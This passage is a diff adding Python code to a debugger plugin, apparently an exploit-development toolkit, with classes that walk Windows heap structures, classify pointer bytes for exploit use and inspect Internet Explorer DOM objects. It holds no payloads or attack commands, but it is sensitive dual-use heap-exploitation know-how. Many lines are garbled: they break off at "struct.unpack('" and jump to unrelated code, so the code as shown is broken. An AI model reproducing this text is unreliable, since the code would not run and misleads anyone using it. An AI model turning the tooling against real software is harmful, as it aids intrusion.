self.heapbase = address + self.VirtualAllocdBlocks = {} + self.LookAsideList = {} + self.SegmentList = {} + self.lalheads = {} + self.Encoding = 0 + self.FrontEndHeap = 0 + return None + + + def getEncodingKey(self): + """ + Retrieves the Encoding key from the current heap + + Return: Int, containing the Encoding key (on Windows 7 and up) + or zero on older Operating Systems + """ + self.Encoding = 0 + if win7mode: + offset = archValue(0x4c,0x7c) + self.EncodeFlagMask = struct.unpack(' 0 and self.FrontEndHeapType == 0x1 and len(self.lalheads) == 0: + lalindex = 0 + startloc = self.FrontEndHeap + while lalindex < 128: + thisptr = self.FrontEndHeap + (0x30 * lalindex) + lalheadfields = {} + # read the next 0x30 bytes and break down into lal head elements + lalheadbin = dbg.readMemory(thisptr,0x30) + lalheadfields["Next"] = struct.unpack(' 0 and self.FrontEndHeapType == 0x1: + lalindex = 0 + startloc = self.FrontEndHeap + while lalindex < 128: + thisptr = self.FrontEndHeap + (0x30 * lalindex) + lalhead_flink = struct.unpack(' Chunks + VA Blocks + """ + statedata = {} + segments = getSegmentsForHeap(self.heapbase) + for seg in segments: + segstart = segments[seg][0] + segend = segments[seg][1] + FirstEntry = segments[seg][2] + LastValidEntry = segments[seg][3] + datablocks = walkSegment(FirstEntry,LastValidEntry,self.heapbase) + statedata[seg] = datablocks + return statedata + +""" +Low Fragmentation Heap +""" +class MnLFH(): + + # +0x000 Lock : _RTL_CRITICAL_SECTION + # +0x018 SubSegmentZones : _LIST_ENTRY + # +0x020 ZoneBlockSize : Uint4B + # +0x024 Heap : Ptr32 Void + # +0x028 SegmentChange : Uint4B + # +0x02c SegmentCreate : Uint4B + # +0x030 SegmentInsertInFree : Uint4B + # +0x034 SegmentDelete : Uint4B + # +0x038 CacheAllocs : Uint4B + # +0x03c CacheFrees : Uint4B + # +0x040 SizeInCache : Uint4B + # +0x048 RunInfo : _HEAP_BUCKET_RUN_INFO + # +0x050 UserBlockCache : [12] _USER_MEMORY_CACHE_ENTRY + # +0x110 Buckets : [128] _HEAP_BUCKET + # +0x310 LocalData : [1] _HEAP_LOCAL_DATA + + # blocks : LocalData->SegmentInfos->SubSegments (Mgmt List)->SubSegs + + # class attributes + Lock = None + SubSegmentZones = None + ZoneBlockSize = None + Heap = None + SegmentChange = None + SegmentCreate = None + SegmentInsertInFree = None + SegmentDelete = None + CacheAllocs = None + CacheFrees = None + SizeInCache = None + RunInfo = None + UserBlockCache = None + Buckets = None + LocalData = None + + def __init__(self,lfhbase): + self.lfhbase = lfhbase + self.populateLFHFields() + return + + def populateLFHFields(self): + # read 0x310 bytes and split into pieces + FLHHeader = dbg.readMemory(self.lfhbase,0x310) + self.Lock = FLHHeader[0:0x18] + self.SubSegmentZones = [] + self.SubSegmentZones.append(struct.unpack(' 0: + self.firstentry = firstentry + if lastvalidentry > 0: + self.lastvalidentry = lastvalidentry + self.chunks = {} + + def getChunks(self): + """ + Enumerate all chunks in the current segment + Output : Dictionary, key = chunkptr + Values : MnChunk objects + chunktype will be set to "chunk" + """ + thischunk = self.firstentry + allchunksfound = False + allchunks = {} + nextchunk = thischunk + cnt = 0 + savedprevsize = 0 + mHeap = MnHeap(self.heapbase) + key = mHeap.getEncodingKey() + while not allchunksfound: + thissize = 0 + prevsize = 0 + flag = 0 + unused = 0 + segmentid = 0 + tag = 0 + headersize = 0x8 + try: + fullheaderbin = "" + if key == 0 and not win7mode: + fullheaderbin = dbg.readMemory(thischunk,headersize) + else: + fullheaderbin = decodeHeapHeader(thischunk,headersize,key) + + sizebytes = fullheaderbin[0:2] + thissize = struct.unpack(' 0: + nextchunk = thischunk + (thissize * 8) + else: + nextchunk += headersize + + chunktype = "chunk" + if "virtall" in getHeapFlag(flag).lower() or "internal" in getHeapFlag(flag).lower(): + #chunktype = "virtualalloc" + headersize = 0x20 + + if not thischunk in allchunks and thissize > 0: + mChunk = MnChunk(thischunk,chunktype,headersize,self.heapbase,self.segmentstart,thissize,prevsize,segmentid,flag,unused,tag) + allchunks[thischunk] = mChunk + + thischunk = nextchunk + + if nextchunk >= self.lastvalidentry: + allchunksfound = True + if "last" in getHeapFlag(flag).lower(): + allchunksfound = True + + cnt += 1 + self.chunks = allchunks + return allchunks + +""" +Chunk class +""" +class MnChunk: + chunkptr = 0 + chunktype = "" + headersize = 0 + extraheadersize = 0 + heapbase = 0 + segmentbase = 0 + size = 0 + prevsize = 0 + segment = 0 + flag = 0 + flags = 0 + unused = 0 + tag = 0 + flink = 0 + blink = 0 + commitsize = 0 + reservesize = 0 + remaining = 0 + hasust = False + dph_block_information_startstamp = 0 + dph_block_information_heap = 0 + dph_block_information_requestedsize = 0 + dph_block_information_actualsize = 0 + dph_block_information_traceindex = 0 + dph_block_information_stacktrace = 0 + dph_block_information_endstamp = 0 + + def __init__(self,chunkptr,chunktype,headersize,heapbase,segmentbase,size,prevsize,segment,flag,unused,tag,flink=0,blink=0,commitsize=0,reservesize=0): + self.chunkptr = chunkptr + self.chunktype = chunktype + self.extraheadersize = 0 + self.remaining = 0 + self.dph_block_information_startstamp = 0 + self.dph_block_information_heap = 0 + self.dph_block_information_requestedsize = 0 + self.dph_block_information_actualsize = 0 + self.dph_block_information_traceindex = 0 + self.dph_block_information_stacktrace = 0 + self.dph_block_information_endstamp = 0 + self.hasust = False + # if ust/hpa is enabled, the chunk header is followed by 32bytes of DPH_BLOCK_INFORMATION header info + currentflagnames = getNtGlobalFlagNames(getNtGlobalFlag()) + if "ust" in currentflagnames: + self.hasust = True + if "hpa" in currentflagnames: + # reader header info + if arch == 32: + self.extraheadersize = 0x20 + try: + raw_dph_header = dbg.readMemory(chunkptr + headersize,0x20) + self.dph_block_information_startstamp = struct.unpack(' 0: + dbg.log(" Extra header due to GFlags: 0x%x (%d) bytes" % (self.extraheadersize,self.extraheadersize)) + if self.dph_block_information_stacktrace > 0: + dbg.log(" DPH_BLOCK_INFORMATION Header size: 0x%x (%d)" % (self.extraheadersize,self.extraheadersize)) + dbg.log(" StartStamp : 0x%08x" % self.dph_block_information_startstamp) + dbg.log(" Heap : 0x%08x" % self.dph_block_information_heap) + dbg.log(" RequestedSize : 0x%08x" % self.dph_block_information_requestedsize) + requestedsize = self.dph_block_information_requestedsize + dbg.log(" ActualSize : 0x%08x" % self.dph_block_information_actualsize) + dbg.log(" TraceIndex : 0x%08x" % self.dph_block_information_traceindex) + dbg.log(" StackTrace : 0x%08x" % self.dph_block_information_stacktrace) + dbg.log(" EndStamp : 0x%08x" % self.dph_block_information_endstamp) + dbg.log(" Size initial allocation request: 0x%x (%d)" % (requestedsize,requestedsize)) + dbg.log(" Total space for data: 0x%x (%d)" % (self.usersize + self.unused - self.headersize,self.usersize + self.unused - self.headersize)) + dbg.log(" Delta between initial size and total space for data: 0x%x (%d)" % (self.unused - self.headersize, self.unused-self.headersize)) + if showdata: + dsize = self.usersize + self.remaining + if dsize > 0 and dsize < 32: + contents = bin2hex(dbg.readMemory(self.userptr,self.usersize+self.remaining)) + else: + contents = bin2hex(dbg.readMemory(self.userptr,32)) + " ..." + dbg.log(" Data : %s" % contents) + dbg.log("") + return + + def showChunkLine(self,showdata = False): + return + + +#---------------------------------------# +# Class to access pointer properties # +#---------------------------------------# +class MnPointer: + """ + Class to access pointer properties + """ + def __init__(self,address): + + # check that the address is an integer + if not type(address) == int and not type(address) == long: + raise Exception("address should be an integer or long") + + self.address = address + + NullRange = [0] + AsciiRange = range(1,128) + AsciiPrintRange = range(20,127) + AsciiUppercaseRange = range(65,91) + AsciiLowercaseRange = range(97,123) + AsciiAlphaRange = AsciiUppercaseRange + AsciiLowercaseRange + AsciiNumericRange = range(48,58) + AsciiSpaceRange = [32] + + self.HexAddress = toHex(address) + + # define the characteristics of the pointer + byte1,byte2,byte3,byte4,byte5,byte6,byte7,byte8 = (0,)*8 + + if arch == 32: + byte1,byte2,byte3,byte4 = splitAddress(address) + elif arch == 64: + byte1,byte2,byte3,byte4,byte5,byte6,byte7,byte8 = splitAddress(address) + + # Nulls + self.hasNulls = (byte1 == 0) or (byte2 == 0) or (byte3 == 0) or (byte4 == 0) + + # Starts with null + self.startsWithNull = (byte1 == 0) + + # Unicode + self.isUnicode = ((byte1 == 0) and (byte3 == 0)) + + # Unicode reversed + self.isUnicodeRev = ((byte2 == 0) and (byte4 == 0)) + + if arch == 64: + self.hasNulls = self.hasNulls or (byte5 == 0) or (byte6 == 0) or (byte7 == 0) or (byte8 == 0) + self.isUnicode = self.isUnicode and ((byte5 == 0) and (byte7 == 0)) + self.isUnicodeRev = self.isUnicodeRev and ((byte6 == 0) and (byte8 == 0)) + + # Unicode transform + self.unicodeTransform = UnicodeTransformInfo(self.HexAddress) + + # Ascii + if not self.isUnicode and not self.isUnicodeRev: + self.isAscii = bytesInRange(address, AsciiRange) + else: + self.isAscii = bytesInRange(address, NullRange + AsciiRange) + + # AsciiPrintable + if not self.isUnicode and not self.isUnicodeRev: + self.isAsciiPrintable = bytesInRange(address, AsciiPrintRange) + else: + self.isAsciiPrintable = bytesInRange(address, NullRange + AsciiPrintRange) + + # Uppercase + if not self.isUnicode and not self.isUnicodeRev: + self.isUppercase = bytesInRange(address, AsciiUppercaseRange) + else: + self.isUppercase = bytesInRange(address, NullRange + AsciiUppercaseRange) + + # Lowercase + if not self.isUnicode and not self.isUnicodeRev: + self.isLowercase = bytesInRange(address, AsciiLowercaseRange) + else: + self.isLowercase = bytesInRange(address, NullRange + AsciiLowercaseRange) + + # Numeric + if not self.isUnicode and not self.isUnicodeRev: + self.isNumeric = bytesInRange(address, AsciiNumericRange) + else: + self.isNumeric = bytesInRange(address, NullRange + AsciiNumericRange) + + # Alpha numeric + if not self.isUnicode and not self.isUnicodeRev: + self.isAlphaNumeric = bytesInRange(address, AsciiAlphaRange + AsciiNumericRange + AsciiSpaceRange) + else: + self.isAlphaNumeric = bytesInRange(address, NullRange + AsciiAlphaRange + AsciiNumericRange + AsciiSpaceRange) + + # Uppercase + Numbers + if not self.isUnicode and not self.isUnicodeRev: + self.isUpperNum = bytesInRange(address, AsciiUppercaseRange + AsciiNumericRange) + else: + self.isUpperNum = bytesInRange(address, NullRange + AsciiUppercaseRange + AsciiNumericRange) + + # Lowercase + Numbers + if not self.isUnicode and not self.isUnicodeRev: + self.isLowerNum = bytesInRange(address, AsciiLowercaseRange + AsciiNumericRange) + else: + self.isLowerNum = bytesInRange(address, NullRange + AsciiLowercaseRange + AsciiNumericRange) + + + def __str__(self): + """ + Get pointer properties (human readable format) + + Arguments: + None + + Return: + String with various properties about the pointer + """ + + outstring = "" + if self.startsWithNull: + outstring += "startnull," + + elif self.hasNulls: + outstring += "null," + + #check if this pointer is unicode transform + hexaddr = self.HexAddress + outstring += UnicodeTransformInfo(hexaddr) + + if self.isUnicode: + outstring += "unicode," + if self.isUnicodeRev: + outstring += "unicodereverse," + if self.isAsciiPrintable: + outstring += "asciiprint," + if self.isAscii: + outstring += "ascii," + if self.isUppercase: + outstring == "upper," + if self.isLowercase: + outstring += "lower," + if self.isNumeric: + outstring+= "num," + + if self.isAlphaNumeric and not (self.isUppercase or self.isLowercase or self.isNumeric): + outstring += "alphanum," + + if self.isUpperNum and not (self.isUppercase or self.isNumeric): + outstring += "uppernum," + + if self.isLowerNum and not (self.isLowercase or self.isNumeric): + outstring += "lowernum," + + outstring = outstring.rstrip(",") + outstring += " {" + getPointerAccess(self.address)+"}" + return outstring + + def getAddress(self): + return self.address + + def isUnicode(self): + return self.isUnicode + + def isUnicodeRev(self): + return self.isUnicodeRev + + def isUnicodeTransform(self): + return self.unicodeTransform != "" + + def isAscii(self): + return self.isAscii + + def isAsciiPrintable(self): + return self.isAsciiPrintable + + def isUppercase(self): + return self.isUppercase + + def isLowercase(self): + return self.isLowercase + + def isUpperNum(self): + return self.isUpperNum + + def isLowerNum(self): + return self.isLowerNum + + def isNumeric(self): + return self.isNumeric + + def isAlphaNumeric(self): + return self.alphaNumeric + + def hasNulls(self): + return self.hasNulls + + def startsWithNull(self): + return self.startsWithNull + + def belongsTo(self): + """ + Retrieves the module a given pointer belongs to + + Arguments: + None + + Return: + String with the name of the module a pointer belongs to, + or empty if pointer does not belong to a module + """ + if len(g_modules)==0: + populateModuleInfo() + for thismodule,modproperties in g_modules.iteritems(): + thisbase = getModuleProperty(thismodule,"base") + thistop = getModuleProperty(thismodule,"top") + if (self.address >= thisbase) and (self.address <= thistop): + return thismodule + return "" + + def isOnStack(self): + """ + Checks if the pointer is on one of the stacks of one of the threads in the process + + Arguments: + None + + Return: + Boolean - True if pointer is on stack + """ + stacks = getStacks() + for stack in stacks: + if (stacks[stack][0] <= self.address) and (self.address < stacks[stack][1]): + return True + return False + + def isInHeap(self): + """ + Checks if the pointer is part of one of the pages associated with process heaps/segments + + Arguments: + None + + Return: + Boolean - True if pointer is in heap + """ + segmentcnt = 0 + + for heap in dbg.getHeapsAddress(): + # part of a segment ? + segments = getSegmentsForHeap(heap) + for segment in segments: + if segmentcnt == 0: + # in heap data structure + if self.address >= heap and self.address <= segment: + return True + segmentcnt += 1 + if self.address >= segment: + last = segments[segment][3] + if self.address >= segment and self.address <= last: + return True + # maybe it's in a VA List ? + for heap in dbg.getHeapsAddress(): + mHeap = MnHeap(heap) + valist = mHeap.getVirtualAllocdBlocks() + if len(valist) > 0: + for vachunk in valist: + thischunk = valist[vachunk] + #dbg.log("self: 0x%08x, vachunk: 0x%08x, commitsize: 0x%08x, vachunk+(thischunk.commitsize)*8: 0x%08x" % (self.address,vachunk,thischunk.commitsize,vachunk+(thischunk.commitsize*8))) + if self.address >= vachunk and self.address <= (vachunk+(thischunk.commitsize*heapgranularity)): + return True + return False + + + def getHeapInfo(self): + global silent + oldsilent = silent + silent = True + foundinheap, foundinsegment, foundinva, foundinchunk = self.showHeapBlockInfo() + silent = oldsilent + return [foundinheap, foundinsegment, foundinva, foundinchunk] + + def getHeapInfo_old(self): + """ + Returns heap related information about a given pointer + """ + heapinfo = {} + heapinfo["heap"] = 0 + heapinfo["segment"] = 0 + heapinfo["chunk"] = 0 + heapinfo["size"] = 0 + allheaps = dbg.getHeapsAddress() + for heap in allheaps: + dbg.log("checking heap 0x%08x for 0x%08x" % (heap,self.address)) + theap = dbg.getHeap(heap) + heapchunks = theap.getChunks(heap) + if len(heapchunks) > 0 and not silent: + dbg.log("Querying segment(s) for heap 0x%s" % toHex(heap)) + for hchunk in heapchunks: + chunkbase = hchunk.get("address") + chunksize = hchunk.get("size") + if self.address >= chunkbase and self.address <= (chunkbase+chunksize): + heapinfo["heap"] = heap + heapinfo["segment"] = 0 + heapinfo["chunk"] = chunkbase + heapinfo["size"] = chunksize + return heapinfo + return heapinfo + + + def showObjectInfo(self): + # check if chunk is a DOM object + if __DEBUGGERAPP__ == "WinDBG": + cmdtorun = "dds 0x%08x L 1" % self.address + output = dbg.nativeCommand(cmdtorun) + outputlower = output.lower() + outputlines = output.split("\n") + if "vftable" in outputlower: + # is this Internet Explorer ? + ieversion = 0 + if isModuleLoadedInProcess('iexplore.exe') and isModuleLoadedInProcess('mshtml.dll'): + ieversionstr = getModuleProperty('iexplore.exe','version') + dbg.log(" Internet Explorer v%s detected" % ieversionstr) + ieversion = 0 + if ieversionstr.startswith("8."): + ieversion = 8 + if ieversionstr.startswith("9."): + ieversion = 9 + if ieversionstr.startswith("10."): + ieversion = 10 + dbg.log(" 0x%08x may be the start of an object, vtable pointer: %s" % (self.address,outputlines[0])) + vtableptr_s = outputlines[0][10:18] + try: + vtableptr = hexStrToInt(vtableptr_s) + dbg.log(" Start of vtable at 0x%08x: (showing first 4 entries only)" % vtableptr) + cmdtorun = "dds 0x%08x L 4" % vtableptr + output = dbg.nativeCommand(cmdtorun) + outputlines = output.split("\n") + cnt = 0 + for line in outputlines: + if line.replace(" ","") != "": + dbg.log(" +0x%x -> %s" % (cnt,line)) + cnt += 4 + if "mshtml!" in outputlower and ieversion > 7: + # see if we can find the object type, refcounter, attribute count, parent, etc + refcounter = None + attributeptr = None + try: + refcounter = dbg.readLong(self.address + 4) + except: + pass + try: + if ieversion == 8: + attributeptr = dbg.readLong(self.address + 0xc) + if ieversion == 9: + attributeptr = dbg.readLong(self.address + 0x10) + except: + pass + if not refcounter is None and not attributeptr is None: + dbg.log(" Refcounter: 0x%x (%d)" % (refcounter,refcounter)) + if refcounter > 0x20000: + dbg.log(" Note: a huge refcounter value may indicate this is not a real DOM object") + if attributeptr == 0: + dbg.log(" No attributes found") + else: + ptrx = MnPointer(attributeptr) + if ptrx.isInHeap(): + dbg.log(" Attribute info structure stored at 0x%08x" % attributeptr) + offset_nr = 0x4 + nr_multiplier = 4 + offset_tableptr = 0xc + offset_tabledata = 0 + variant_offset = 4 + attname_offset = 8 + attvalue_offset = 0xc + if ieversion == 9: + nr_multiplier = 1 + offset_nr = 0x4 + offset_tableptr = 0x8 + offset_tabledata = 4 + variant_offset = 1 + attname_offset = 4 + attvalue_offset = 8 + + nr_attributes = dbg.readLong(attributeptr + offset_nr) / nr_multiplier + attributetableptr = dbg.readLong(attributeptr + offset_tableptr) + dbg.log(" +0x%02x : Nr of attributes: %d" % (offset_nr,nr_attributes)) + dbg.log(" +0x%02x : Attribute table at 0x%08x" % (offset_tableptr,attributetableptr)) + + attcnt = 0 + while attcnt < nr_attributes: + + try: + dbg.log(" Attribute %d (at 0x%08x) :" % (attcnt+1,attributetableptr)) + sec_dword = "%08x" % struct.unpack(' 0x1: + att_name = "" + try: + att_name_ptr = dbg.readLong(attributetableptr+attname_offset) + att_name_ptr_value = dbg.readLong(att_name_ptr+4) + att_name = dbg.readWString(att_name_ptr_value) + except: + att_name = "" + dbg.log(" 0x%08x + 0x%02x (0x%08x): 0x%08x : &Attribute name : '%s'" % (attributetableptr,attname_offset,attributetableptr+attname_offset,att_name_ptr,att_name)) + att_value_ptr = dbg.readLong(attributetableptr+attvalue_offset) + ptrx = MnPointer(att_value_ptr) + if ptrx.isInHeap(): + att_value = "" + if variant_type == 0x8: + att_value = dbg.readWString(att_value_ptr) + if variant_type == 0x16: + attv = dbg.readLong(att_value_ptr) + att_value = "0x%08x (%s)" % (attv,int("0x%08x" % attv,16)) + if variant_type == 0x1e: + att_from = dbg.readLong(att_value_ptr) + att_value = dbg.readString(att_from) + if variant_type == 0x1f: + att_from = dbg.readLong(att_value_ptr) + att_value = dbg.readWString(att_from) + else: + att_value = "0x%08x (%s)" % (att_value_ptr,int("0x%08x" % att_value_ptr,16)) + dbg.log(" 0x%08x + 0x%02x (0x%08x): 0x%08x : &Value : %s" % (attributetableptr,attvalue_offset,attributetableptr+attvalue_offset,att_value_ptr,att_value)) + except: + dbg.logLines(traceback.format_exc(),highlight=True) + break + attributetableptr += 0x10 + attcnt += 1 + else: + dbg.log(" Invalid attribute ptr found (0x%08x). This may not be a real DOM object." % attributeptr) + + + offset_domtree = 0x14 + if ieversion == 9: + offset_domtree = 0x1C + domtreeptr = dbg.readLong(self.address + offset_domtree) + if not domtreeptr is None: + dptrx = MnPointer(domtreeptr) + if dptrx.isInHeap(): + currobj = self.address + moreparents = True + parentcnt = 0 + dbg.log(" Object +0x%02x : Ptr to DOM Tree info: 0x%08x" % (offset_domtree,domtreeptr)) + while moreparents: + # walk tree, get parents + parentspaces = " " * parentcnt + cmdtorun = "dds poi(poi(poi(0x%08x+0x%02x)+4)) L 1" % (currobj,offset_domtree) + output = dbg.nativeCommand(cmdtorun) + outputlower = output.lower() + outputlines = output.split("\n") + if "vftable" in outputlines[0]: + dbg.log(" %s Parent : %s" % (parentspaces,outputlines[0])) + parts = outputlines[0].split(" ") + try: + currobj = int(parts[0],16) + except: + currobj = 0 + else: + moreparents = False + parentcnt += 3 + if currobj == 0: + moreparents = False + + except: + dbg.logLines(traceback.format_exc(),highlight=True) + pass + + return + + + + def showHeapBlockInfo(self): + """ + Find address in heap and print out info about heap, segment, chunk it belongs to + """ + allheaps = [] + heapkey = 0 + + foundinheap = None + foundinsegment = None + foundinva = None + foundinchunk = None + dumpsize = 0 + dodump = False + + try: + allheaps = dbg.getHeapsAddress() + except: + allheaps = [] + for heapbase in allheaps: + mHeap = MnHeap(heapbase) + heapbase_extra = "" + frontendinfo = [] + frontendheapptr = 0 + frontendheaptype = 0 + if win7mode: + heapkey = mHeap.getEncodingKey() + if mHeap.usesLFH(): + frontendheaptype = 0x2 + heapbase_extra = " [LFH] " + frontendheapptr = mHeap.getLFHAddress() + frontendinfo = [frontendheaptype,frontendheapptr] + + segments = mHeap.getHeapSegmentList() + + #segments + for seg in segments: + segstart = segments[seg][0] + segend = segments[seg][1] + FirstEntry = segments[seg][2] + LastValidEntry = segments[seg][3] + allchunks = walkSegment(FirstEntry,LastValidEntry,heapbase) + for chunkptr in allchunks: + thischunk = allchunks[chunkptr] + thissize = thischunk.size*8 + headersize = thischunk.headersize + if self.address >= chunkptr and self.address < (chunkptr + thissize): + # found it ! + if not silent: + dbg.log("") + dbg.log("Address 0x%08x found in " % self.address) + thischunk.showChunk(showdata = True) + self.showObjectInfo() + self.showHeapStackTrace(thischunk) + dodump = True + dumpsize = thissize + foundinchunk = thischunk + foundinsegment = seg + foundinheap = heapbase + break + if not foundinchunk == None: + break + + # VA + if foundinchunk == None: + # maybe it's in VirtualAllocdBlocks + vachunks = mHeap.getVirtualAllocdBlocks() + for vaptr in vachunks: + thischunk = vachunks[vaptr] + if self.address >= vaptr and self.address <= vaptr + (thischunk.commitsize*8): + if not silent: + dbg.log("") + dbg.log("Address 0x%08x found in VirtualAllocdBlocks of heap 0x%08x" % (self.address,heapbase)) + thischunk.showChunk(showdata = True) + self.showObjectInfo() + self.showHeapStackTrace(thischunk) + thissize = thischunk.usersize + dumpsize = thissize + dodump = True + foundinchunk = thischunk + foundinva = vaptr + foundinheap = heapbase + break + + # perhaps chunk is in FEA + # if it is, it won't be a VA chunk + if foundinva == None: + if not win7mode: + foundinlal = False + foundinfreelist = False + FrontEndHeap = mHeap.getFrontEndHeap() + if FrontEndHeap > 0: + fea_lal = mHeap.getLookAsideList() + for lal_table_entry in sorted(fea_lal.keys()): + nr_of_chunks = len(fea_lal[lal_table_entry]) + lalhead = struct.unpack('= lalchunk.chunkptr) and (self.address < lalchunk.chunkptr+chunksize): + foundinlal = True + if not silent: + dbg.log("Address is part of chunk on LookAsideList[%d], heap 0x%08x" % (lal_table_entry,mHeap.heapbase)) + break + if foundinlal: + expectedsize = lal_table_entry * 8 + if not silent: + dbg.log(" LAL [%d] @0x%08x, Expected Chunksize: 0x%x (%d), %d chunks, Flink: 0x%08x" % (lal_table_entry,FrontEndHeap + (0x30 * lal_table_entry),expectedsize,expectedsize,nr_of_chunks,lalhead)) + for chunkindex in fea_lal[lal_table_entry]: + lalchunk = fea_lal[lal_table_entry][chunkindex] + foundchunk = lalchunk + chunksize = lalchunk.size * 8 + flag = getHeapFlag(lalchunk.flag) + extra = " " + if (self.address >= lalchunk.chunkptr) and (self.address < lalchunk.chunkptr+chunksize): + extra = " --> " + if not silent: + dbg.log("%sChunkPtr: 0x%08x, UserPtr: 0x%08x, Flink: 0x%08x, ChunkSize: 0x%x, UserSize: 0x%x, UserSpace: 0x%x (%s)" % (extra,lalchunk.chunkptr,lalchunk.userptr,lalchunk.flink,chunksize,lalchunk.usersize,lalchunk.usersize + lalchunk.remaining,flag)) + if not silent: + self.showObjectInfo() + dumpsize = chunksize + dodump = True + break + + if not foundinlal: + # or maybe in BEA + thisfreelist = mHeap.getFreeList() + thisfreelistinusebitmap = mHeap.getFreeListInUseBitmap() + for flindex in thisfreelist: + freelist_addy = heapbase + 0x178 + (8 * flindex) + expectedsize = ">1016" + expectedsize2 = ">0x%x" % 1016 + if flindex != 0: + expectedsize2 = str(8 * flindex) + expectedsize = "0x%x" % (8 * flindex) + for flentry in thisfreelist[flindex]: + freelist_chunk = thisfreelist[flindex][flentry] + chunksize = freelist_chunk.size * 8 + if (self.address >= freelist_chunk.chunkptr) and (self.address < freelist_chunk.chunkptr+chunksize): + foundinfreelist = True + if not silent: + dbg.log("Address is part of chunk on FreeLists[%d] at 0x%08x, heap 0x%08x:" % (flindex,freelist_addy,mHeap.heapbase)) + break + if foundinfreelist: + flindicator = 0 + for flentry in thisfreelist[flindex]: + freelist_chunk = thisfreelist[flindex][flentry] + chunksize = freelist_chunk.size * 8 + extra = " " + if (self.address >= freelist_chunk.chunkptr) and (self.address < freelist_chunk.chunkptr+chunksize): + extra = " --> " + foundchunk = freelist_chunk + if not silent: + dbg.log("%sChunkPtr: 0x%08x, UserPtr: 0x%08x, Flink: 0x%08x, Blink: 0x%08x, ChunkSize: 0x%x (%d), Usersize: 0x%x (%d)" % (extra,freelist_chunk.chunkptr,freelist_chunk.userptr,freelist_chunk.flink,freelist_chunk.blink,chunksize,chunksize,freelist_chunk.usersize,freelist_chunk.usersize)) + if flindex != 0 and chunksize != (8*flindex): + dbg.log(" ** Header may be corrupted! **", highlight = True) + flindicator = 1 + if flindex > 1 and int(thisfreelistinusebitmap[flindex]) != flindicator: + if not silent: + dbg.log(" ** FreeListsInUseBitmap mismatch for index %d! **" % flindex, highlight = True) + if not silent: + self.showObjectInfo() + dumpsize = chunksize + dodump = True + break + + if dodump and dumpsize > 0 and dumpsize < 1025 and not silent: + self.dumpObjectAtLocation(dumpsize) + + return foundinheap, foundinsegment, foundinva, foundinchunk + + def showHeapStackTrace(self,thischunk): + # show stacktrace if any + if __DEBUGGERAPP__ == "WinDBG": + stacktrace_address = thischunk.dph_block_information_stacktrace + stacktrace_index = thischunk.dph_block_information_traceindex + stacktrace_startstamp = 0xabcdaaaa + if thischunk.hasust and stacktrace_address > 0: + if stacktrace_startstamp == thischunk.dph_block_information_startstamp: + cmd2run = "dds 0x%08x L 24" % (stacktrace_address) + output = dbg.nativeCommand(cmd2run) + outputlines = output.split("\n") + if "!" in output: + dbg.log("Stack trace, index 0x%x:" % stacktrace_index) + dbg.log("--------------------------") + for outputline in outputlines: + if "!" in outputline: + lineparts = outputline.split(" ") + if len(lineparts) > 2: + firstpart = len(lineparts[0])+1 + dbg.log(outputline[firstpart:]) + return + + def memLocation(self): + """ + Gets the memory location associated with a given pointer (modulename, stack, heap or empty) + + Arguments: + None + + Return: + String + """ + + memloc = self.belongsTo() + + if memloc == "": + if self.isOnStack(): + return "Stack" + if self.isInHeap(): + return "Heap" + return "??" + return memloc + + def getPtrFunction(self): + funcinfo = "" + global silent + silent = True + if __DEBUGGERAPP__ == "WinDBG": + lncmd = "ln 0x%08x" % self.address + lnoutput = dbg.nativeCommand(lncmd) + for line in lnoutput.split("\n"): + if line.replace(" ","") != "" and line.find("%08x" % self.address) > -1: + lineparts = line.split("|") + funcrefparts = lineparts[0].split(")") + if len(funcrefparts) > 1: + funcinfo = funcrefparts[1].replace(" ","") + break + + if funcinfo == "": + memloc = self.belongsTo() + if not memloc == "": + mod = MnModule(memloc) + if not mod is None: + start = mod.moduleBase + offset = self.address - start + offsettxt = "" + if offset > 0: + offsettxt = "+0x%08x" % offset + else: + offsettxt = "__base__" + funcinfo = memloc+offsettxt + silent = False + return funcinfo + + def dumpObjectAtLocation(self,size,levels=0,nestedsize=0,customthislog="",customlogfile=""): + dumpdata = {} + origdumpdata = {} + if __DEBUGGERAPP__ == "WinDBG": + addy = self.address + if not silent: + dbg.log("") + dbg.log("----------------------------------------------------") + dbg.log("[+] Dumping object at 0x%08x, 0x%02x bytes" % (addy,size)) + if levels > 0: + dbg.log("[+] Also dumping up to %d levels deep, max size of nested objects: 0x%02x bytes" % (levels, nestedsize)) + dbg.log("") + + parentlist = [] + levelcnt = 0 + if customthislog == "" and customlogfile == "": + logfile = MnLog("dumpobj.txt") + thislog = logfile.reset() + else: + logfile = customlogfile + thislog = customthislog + addys = [addy] + parent = "" + parentdata = {} + while levelcnt <= levels: + thisleveladdys = [] + for addy in addys: + cmdtorun = "dps 0x%08x L 0x%02x/%x" % (addy,size,archValue(4,8)) + startaddy = addy + endaddy = addy + size + output = dbg.nativeCommand(cmdtorun) + outputlines = output.split("\n") + offset = 0 + for outputline in outputlines: + if not outputline.replace(" ","") == "": + loc = outputline[0:archValue(8,17)].replace("`","") + content = outputline[archValue(10,19):archValue(18,36)].replace("`","") + symbol = outputline[archValue(19,37):] + if not "??" in content and symbol.replace(" ","") == "": + contentaddy = hexStrToInt(content) + info = self.getLocInfo(hexStrToInt(loc),contentaddy,startaddy,endaddy) + info.append(content) + dumpdata[hexStrToInt(loc)] = info + else: + info = ["",symbol,"",content] + dumpdata[hexStrToInt(loc)] = info + if addy in parentdata: + pdata = parentdata[addy] + parent = "Referenced at 0x%08x (object 0x%08x, offset +0x%02x)" % (pdata[0],pdata[1],pdata[0]-pdata[1]) + else: + parent = "" + self.printObjDump(dumpdata,logfile,thislog,size,parent) + + for loc in dumpdata: + thisdata = dumpdata[loc] + if thisdata[0] == "ptr_obj": + thisptr = int(thisdata[3],16) + thisleveladdys.append(thisptr) + parentdata[thisptr] = [loc,addy] + if levelcnt == 0: + origdumpdata = dumpdata + dumpdata = {} + addys = thisleveladdys + size = nestedsize + levelcnt += 1 + dumpdata = origdumpdata + return dumpdata + + + def printObjDump(self,dumpdata,logfile,thislog,size=0,parent=""): + # dictionary, key = address + # 0 = type + # 1 = content info + # 2 = string type + # 3 = content + sortedkeys = sorted(dumpdata) + if len(sortedkeys) > 0: + startaddy = sortedkeys[0] + sizem = "" + parentinfo = "" + if size > 0: + sizem = " (0x%02x bytes)" % size + logfile.write("",thislog) + + if parent == "": + logfile.write("=" * 60,thislog) + + line = ">> Object at 0x%08x%s:" % (startaddy,sizem) + if not silent: + dbg.log("") + dbg.log(line) + + logfile.write(line,thislog) + + if parent != "": + line = " %s" % parent + if not silent: + dbg.log(line) + logfile.write(line,thislog) + + line = "Offset Address Contents Info" + if arch == 64: + line = 